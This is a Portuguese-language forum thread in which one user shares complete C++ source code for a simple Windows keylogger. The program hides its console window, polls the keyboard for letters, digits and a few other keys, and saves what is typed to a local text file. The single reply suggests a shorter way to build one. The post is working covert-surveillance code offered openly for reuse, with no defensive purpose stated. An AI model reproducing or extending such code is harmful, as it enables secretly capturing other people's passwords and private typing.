Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Código fonte de um keylogger(simples) em C++... =]

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    C / C++ Código fonte de um keylogger(simples) em C++... =]

    Olá pessoal... Estou aqui compartilhando com vocês um código fonte de um keylogger(simples) feito em C++, de minha autoria!!! kkk, =]

    Não coloque para capturar poucas teclas, mas se você quiser colocar para capturar tipo as setas é só acrescentar... VK_HOME, VK_RIGHT, VK_LEFT, VK_SHIFT e por ai endiante... rsrs.


    Código:
    #include <windows.h>
    #include <iostream>         //bibliotecas... =]
    #include <fstream>          // essa biblioteca realiza(fluxo) tanto operações de entrada como de saída...
    #include <string>
    
    using namespace std;
    
    int main(){
        FreeConsole();   //deixa a janela invisivel, haha...
         
        string teclas;    //variaveis
     
        while(1==1){  //NÃO usei o TRUE, haha, legibilidade do codigo...(creditos pela diga, 0KaL! KKKK)
          if(GetAsyncKeyState(0x41)){       //aqui fica responsavel pela captura das teclas...
               cout << "a";     //41 é o equivale a letra "a" em HEXADECIMAL... então ele imprime a letra "a" na string  "teclas".               
               teclas+= "a";    //vai fazer isso pelo o resto do código!
               Sleep(200);                      
          };
          if(GetAsyncKeyState(0x42)){
               cout << "b";
               teclas+= "b";
               Sleep(200);                      
          };
          if(GetAsyncKeyState(0x43)){
               cout << "c";
               teclas+= "c";
               Sleep(200);                      
          };      
          if(GetAsyncKeyState(0x44)){
               cout<<"d";
               teclas+="d";
               Sleep(200);                      
          }; 
          if(GetAsyncKeyState(0x45)){
               cout<<"e";
               teclas+="e";
               Sleep(200);                      
          };      
         
          if(GetAsyncKeyState(0x46)){
               cout<<"f";
               teclas+="f";
               Sleep(200);                      
          };      
          if(GetAsyncKeyState(0x47)){
               cout<<"g";
               teclas+="g";
               Sleep(200);                      
          };      
          if(GetAsyncKeyState(0x48)){
               cout<<"h";
               teclas+="h";
               Sleep(200);                      
          };      
          if(GetAsyncKeyState(0x49)){
               cout<<"i";
               teclas+="i";
               Sleep(200);                      
          };      
          if(GetAsyncKeyState(0x4a)){
               cout<<"j";
               teclas+="j";
               Sleep(200);                      
          };      
          if(GetAsyncKeyState(0x4b)){
               cout<<"k";
               teclas+="k";
               Sleep(200);                      
          };      
          if(GetAsyncKeyState(0x4c)){
               cout<<"l";
               teclas+="l";
               Sleep(200);                      
          };      
          if(GetAsyncKeyState(0x4d)){
               cout<<"m";
               teclas+="m";
               Sleep(200);                      
          };      
          if(GetAsyncKeyState(0x4e)){
               cout<<"n";
               teclas+="n";
               Sleep(200);                      
          };      
          if(GetAsyncKeyState(0x4f)){
               cout<<"o";
               teclas+="o";
               Sleep(200);                      
          };      
          if(GetAsyncKeyState(0x50)){
               cout<<"p";
               teclas+="p";
               Sleep(200);                      
          }; 
          if(GetAsyncKeyState(0x51)){
               cout<<"q";
               teclas+="q";
               Sleep(200);                      
          };  
          if(GetAsyncKeyState(0x52)){
               cout<<"r";
               teclas+="r";
               Sleep(200);                      
          };
          if(GetAsyncKeyState(0x53)){
               cout<<"s";
               teclas+="s";
               Sleep(200);                      
          };  
          if(GetAsyncKeyState(0x54)){
               cout<<"t";
               teclas+="t";
               Sleep(200);                      
          };      
          if(GetAsyncKeyState(0x55)){
               cout<<"u";
               teclas+="u";
               Sleep(200);                      
          };      
          if(GetAsyncKeyState(0x56)){
               cout<<"v";
               teclas+="v";
               Sleep(200);                      
          };      
          if(GetAsyncKeyState(0x57)){
               cout<<"w";
               teclas+="w";
               Sleep(200);                      
          };      
          if(GetAsyncKeyState(0x58)){
               cout<<"x";
               teclas+="x";
               Sleep(200);                      
          };      
          if(GetAsyncKeyState(0x59)){
               cout<<"y";
               teclas+="y";
               Sleep(200);                      
          };      
          if(GetAsyncKeyState(0x5A)){
               cout<<"z";
               teclas+="z";
               Sleep(200);                      
          }; 
          if(GetAsyncKeyState(VK_SPACE)){
               cout<<" ";
               teclas+=" ";
               Sleep(200);                      
          }; 
          if(GetAsyncKeyState(0x6E)){
               cout<<".";
               teclas+=".";
               Sleep(200);                      
          }; 
          if(GetAsyncKeyState(0x0d)){
               cout<<"/n";
               teclas+="<br>";
               Sleep(200);
          };
          if(GetAsyncKeyState(0x30)){
               cout<<"0";
               teclas+="0";
               Sleep(200);                      
          };
          if(GetAsyncKeyState(0x31)){
               cout<<"1";
               teclas+="1";
               Sleep(200);                      
          };
          if(GetAsyncKeyState(0x32)){
               cout<<"2";
               teclas+="2";
               Sleep(200);                      
          };
          if(GetAsyncKeyState(0x33)){
               cout<<"3";
               teclas+="3";
               Sleep(200);                      
          };       
          if(GetAsyncKeyState(0x34)){
               cout<<"4";
               teclas+="4";
               Sleep(200);                      
          };
          if(GetAsyncKeyState(0x35)){
               cout<<"5";
               teclas+="5";
               Sleep(200);                      
          };
          if(GetAsyncKeyState(0x36)){
               cout<<"6";
               teclas+="6";
               Sleep(200);                      
          };
          if(GetAsyncKeyState(0x37)){
               cout<<"7";
               teclas+="7";
               Sleep(200);                      
          };
          if(GetAsyncKeyState(0x38)){
               cout<<"8";
               teclas+="8";
               Sleep(200);                      
          };
          if(GetAsyncKeyState(0x39)){
               cout<<"9";
               teclas+="9";
               Sleep(200);                      
          };
          
              // cria um  arquvo txt para implementar as teclas digitadas...
      ofstream meu_arquivozinho;      
      meu_arquivozinho.open ("log_das_teclas.txt");       
      meu_arquivozinho << teclas;                        // faz digita a string teclas no arquivo txt.
      meu_arquivozinho.close();                         // fecha.
    
    };
    }



    Att didinho... (:
    "Nunca desista de seus sonhos. Desisti de seus sonhos é abrir mão da felicidade."
    (Augusto Cury)



    Meu Blog... http://www.lab-infor.blogspot.com
    Meu canal do Youtube... http://www.youtube.com/user/rodrigo32323232

  • Font Size
    #2
    Deixarei claro desde já que não quero desmerecer o trabalho que você pra fazer esse codigo, porque já fiz muito isso também.

    Mas você tem que tentar diminuir o seu codigo, pois quando começar a fazer coisas grandes e complexas desse jeito, não vai dar muito certo...

    Pra fazer um keylogger você so precisa colocar em alguma parte do seu programa um getch() e um fprintf.

    Comment

    X
    Working...
    X